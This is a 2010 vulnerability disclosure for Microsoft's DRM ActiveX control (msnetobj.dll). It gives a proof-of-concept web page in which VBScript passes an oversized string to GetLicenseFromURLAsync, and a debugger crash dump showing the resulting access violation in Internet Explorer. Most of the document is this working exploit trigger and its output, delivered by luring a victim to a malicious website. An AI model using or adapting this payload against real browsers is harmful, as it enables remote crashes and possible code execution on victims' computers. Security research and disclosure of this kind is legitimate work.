============================================================================================

                             Microsoft DRM technology (msnetobj.dll) ActiveX Multiple Remote Vulnerabilities
                     ===========================================================================================

                                                     by

                                            Asheesh Kumar Mani Tripathi


# Vulnerability Discovered By Asheesh kumar Mani Tripathi

# email informationhacker08@gmail.com

# company       www.aksitservices.co.in

# Credit by Asheesh Anaconda 

# Date 18th Sep 2010

# Description: Microsoft DRM technology (msnetobj.dll) ActiveX suffers from multiple remote vulnerabilities
             such as buffer overflow, integer overflow and denial of service (IE crash). This issue is
             triggered when an attacker convinces a victim user to visit a malicious website.

             The "GetLicenseFromURLAsync" function does not handle input correctly. 
 
             Remote attackers may exploit this issue to execute arbitrary machine code in the context of
             the affected application, facilitating the remote compromise of affected computers. Failed
             exploit attempts likely result in browser crashes.

=============================================Proof Of Concept=============================================
 


<object classid='clsid:A9FC132B-096D-460B-B7D5-1DB0FAE0C062' id='RM' />
<script language='vbscript'>

targetFile = "C:\Windows\System32\msnetobj.dll"
prototype  = "Sub GetLicenseFromURLAsync ( ByVal bstrXMLDoc As String ,  ByVal bstrURL As String )"
memberName = "GetLicenseFromURLAsync"
progid     = "MSNETOBJLib.RMGetLicense"
argCount   = 2

arg1="defaultV"
arg2=String(8212, "A")

RM.GetLicenseFromURLAsync(arg1 ,arg2) 

</script>
=============================================Exception details=============================================
Exception Code: ACCESS_VIOLATION
Disasm: 77BEEA7F	MOVS DWORD PTR ES:[EDI],DWORD PTR [ESI]

Seh Chain:
--------------------------------------------------
1 	76E7E47D 	msvcrt.dll
2 	77BB99FA 	ntdll.dll


Called From                   Returns To                    
--------------------------------------------------
ntdll.77BEEA7F                ntdll.77BEE9D9                
ntdll.77BEE9D9                KERNEL32.770E7F75             
KERNEL32.770E7F75             ole32.779EB3E1                
ole32.779EB3E1                ole32.779EB50A                
ole32.779EB50A                ole32.779AF6F6                
ole32.779AF6F6                ole32.779AF794                
ole32.779AF794                msnetobj.6B823726             
msnetobj.6B823726             msnetobj.6B823814             
msnetobj.6B823814             msnetobj.6B823C40             
msnetobj.6B823C40             msnetobj.6B823FA7             
msnetobj.6B823FA7             msnetobj.6B824513             
msnetobj.6B824513             msnetobj.6B823A9D             
msnetobj.6B823A9D             msvcrt.76E82599               
msvcrt.76E82599               msvcrt.76E826B3               
msvcrt.76E826B3               KERNEL32.770ED0E9             
KERNEL32.770ED0E9             ntdll.77BF19BB                
ntdll.77BF19BB                ntdll.77BF198E                


Registers:
--------------------------------------------------
EIP 77BEEA7F
EAX 00000054
EBX 00032A78 -> Asc: GsHd(
ECX 00000000
EDX 00000004
EDI 035CEE28 -> 7FFD8000
ESI 6B821434
EBP 035CEE48 -> 035CEE90
ESP 035CEE0C -> 00032A78


Block Disassembly: 
--------------------------------------------------
77BEEA68	PUSH EDI
77BEEA69	JNZ 77C25E3F
77BEEA6F	TEST BYTE PTR [EBX+10],1
77BEEA73	JE 77C25E93
77BEEA79	MOV EAX,[EBX+18]
77BEEA7C	LEA EDI,[EBP-20]
77BEEA7F	MOVS DWORD PTR ES:[EDI],DWORD PTR [ESI]	  <--- CRASH
77BEEA80	PUSH 77BEEABD
77BEEA85	MOVS DWORD PTR ES:[EDI],DWORD PTR [ESI]
77BEEA86	PUSH 1C
77BEEA88	ADD EAX,EBX
77BEEA8A	PUSH EDX
77BEEA8B	MOVS DWORD PTR ES:[EDI],DWORD PTR [ESI]
77BEEA8C	PUSH EAX
77BEEA8D	LEA EAX,[EBP-20]


ArgDump:
--------------------------------------------------
EBP+8	00032A78 -> Asc: GsHd(
EBP+12	6B821434
EBP+16	035CEEB0 -> 00000040
EBP+20	00000000
EBP+24	77AC1424 -> 779EBEC8
EBP+28	6B821434


Stack Dump:
--------------------------------------------------
35CEE0C 78 2A 03 00 08 00 15 C0 00 00 00 00 B0 EE 5C 03  [..............\.]
35CEE1C 04 00 00 00 34 14 82 6B 00 90 FD 7F 00 80 FD 7F  [.......k........]
35CEE2C 44 EE 5C 03 01 6C BF 77 68 EE 5C 03 84 EE 5C 03  [D.\..l.wh.\...\.]
35CEE3C 88 EE 5C 03 80 EE 5C 03 92 59 7C 75 90 EE 5C 03  [..\...\..Y.u..\.]
35CEE4C D9 E9 BE 77 78 2A 03 00 34 14 82 6B B0 EE 5C 03  [...w.......k..\.]



ApiLog
--------------------------------------------------

***** Installing Hooks *****
7735d5c0     RegCreateKeyExA (HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings,(null))
Debug String Log
--------------------------------------------------